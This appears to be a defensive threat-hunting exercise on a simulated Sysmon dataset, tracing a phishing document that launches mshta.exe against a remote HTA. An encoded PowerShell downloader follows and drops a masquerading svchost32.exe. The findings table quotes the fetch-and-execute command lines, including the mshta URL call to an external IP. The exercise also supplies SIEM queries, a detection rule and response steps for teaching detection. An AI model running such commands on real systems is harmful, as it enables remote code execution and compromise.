Threat Hunting Exercise: Analyzing Windows MSHTA LOLBIN Remote Payload Execution Dataset

This hunt uses a simulated endpoint telemetry dataset (win_sysmon_mshta_2022-09-11T140000.json) capturing T1218.005: System Binary Proxy Execution (Mshta), where a phishing lure launches mshta.exe to fetch and execute a remote HTA file containing obfuscated VBScript that stages a second-stage payload.

Step 1: Hypothesis Formation

Hypothesis: mshta.exe is spawned with a command line referencing an http:// or https:// URL rather than a local .hta file, spawned by a user-facing application like outlook.exe, winword.exe, or explorer.exe, and shortly followed by a child process spawning powershell.exe or cmd.exe with encoded/obfuscated arguments - indicating HTA-based initial access and staging. Indicators:

mshta.exe command line containing http/https rather than a local file path.
Parent process is a document handler, browser, or mail client - not a script/administrative context.
Child process from mshta.exe is powershell.exe with -enc/-EncodedCommand or cmd.exe with /c and long Base64-like strings.
Outbound network connection from mshta.exe itself to an external IP immediately preceding the child process spawn.

Null Hypothesis: An internal, browser-based kiosk or legacy internal web application intentionally uses HTA files hosted on an internal web server for legitimate remote administration. Invalidate by confirming the destination URL against the internal application inventory and change records.

Rationale: mshta.exe is signed and whitelisted in most environments, making it a durable LOLBIN for initial-access phishing payloads; detecting the network-URL argument pattern catches the technique regardless of payload obfuscation.

Step 2: Data Sources and Scope

Sources: Sysmon Event ID 1 (process creation) and 3 (network connection); Windows Security Event ID 4688; email gateway logs for the originating attachment/link.
Scope: ~2022-09-11T14:00:00-14:15:00 UTC; Host: WKS-HR-009 (10.20.6.44); User: l.harmon.
SIEM Queries (Splunk/ELK):
index=sysmon EventCode=1 Image="mshta.exe" CommandLine="http*"
Parent-process check: index=sysmon EventCode=1 Image="*mshta.exe" | stats values(ParentImage)
Child-process chain: index=sysmon EventCode=1 ParentImage="mshta.exe" (Image="powershell.exe" OR Image="*cmd.exe")

Step 3: Key Findings

Parsed events (5 shown) confirm l.harmon opened a phishing attachment that launched mshta.exe against a remote HTA URL, which in turn spawned an encoded PowerShell command to download and execute a second-stage payload.

Timestamp (UTC)	Host	Event	Detail	IOC/Why Suspicious?
2022-09-11 14:02:18	WKS-HR-009	Sysmon Event ID 1	`winword.exe` (from attachment `Invoice_4471.doc`) spawned `mshta.exe http://185.220.101.47/inv.hta`	Initial-Access IOC: a document handler directly spawning `mshta.exe` with a remote URL is a textbook phishing-to-HTA execution chain.
2022-09-11 14:02:19	WKS-HR-009	Sysmon Event ID 3	`mshta.exe` connected to 185.220.101.47:80, retrieved 4.2 KB HTA content	Remote-Fetch IOC: confirms the HTA payload was retrieved live from attacker infrastructure rather than executed from a trusted local path.
2022-09-11 14:02:21	WKS-HR-009	Sysmon Event ID 1	`mshta.exe` spawned `powershell.exe -w hidden -enc JABzAD0ATgBlAHc...`	Staging IOC: hidden-window PowerShell with Base64-encoded command is the classic mshta-to-PowerShell second-stage pattern.
2022-09-11 14:02:24	WKS-HR-009	Sysmon Event ID 3	Decoded PowerShell connects to 185.220.101.47:443, downloads `svchost32.exe` to `%APPDATA%\Local\Temp`	Payload-Drop IOC: same infrastructure as the initial HTA fetch, confirming a single coordinated attack chain rather than unrelated activity.
2022-09-11 14:03:02	WKS-HR-009	Sysmon Event ID 1	`svchost32.exe` (masquerading process name, wrong path) executed from `%APPDATA%`	Masquerading IOC: legitimate `svchost.exe` never runs from a user's AppData folder - a high-confidence execution-stage indicator.

Validation:

Timeline: phishing attachment → mshta remote HTA fetch → encoded PowerShell → payload download → masquerading execution, all within 45 seconds - a tight, automated infection chain.
False Positives: no internal application inventory entry exists for 185.220.101.47; the destination is an unregistered external IP with no prior business traffic to this host.
Correlation: parent-process anomaly, remote URL argument, encoded child process, and masquerading payload jointly confirm malicious HTA-based initial access.

Step 4: Recommendations & Next Steps

Immediate Response: Isolate WKS-HR-009, kill the svchost32.exe process tree, block 185.220.101.47 at the perimeter, quarantine the original email/attachment organization-wide, and reset l.harmon's credentials.
Detection: Sigma-style rule: title: Mshta Remote HTA Execution → selection: Image endswith 'mshta.exe' AND CommandLine contains 'http' → condition: selection.
Pro Tip: Consider blocking mshta.exe outbound network access entirely via a host firewall/WDAC rule where no legitimate internal HTA use case exists - this single control neutralizes the entire technique regardless of payload variation, since the LOLBIN itself rarely needs direct internet access in most environments.

Hypothesis confirmed - a phishing attachment triggered mshta.exe to fetch a remote HTA payload, which staged an encoded PowerShell downloader that dropped a masquerading second-stage executable within under a minute of the initial click!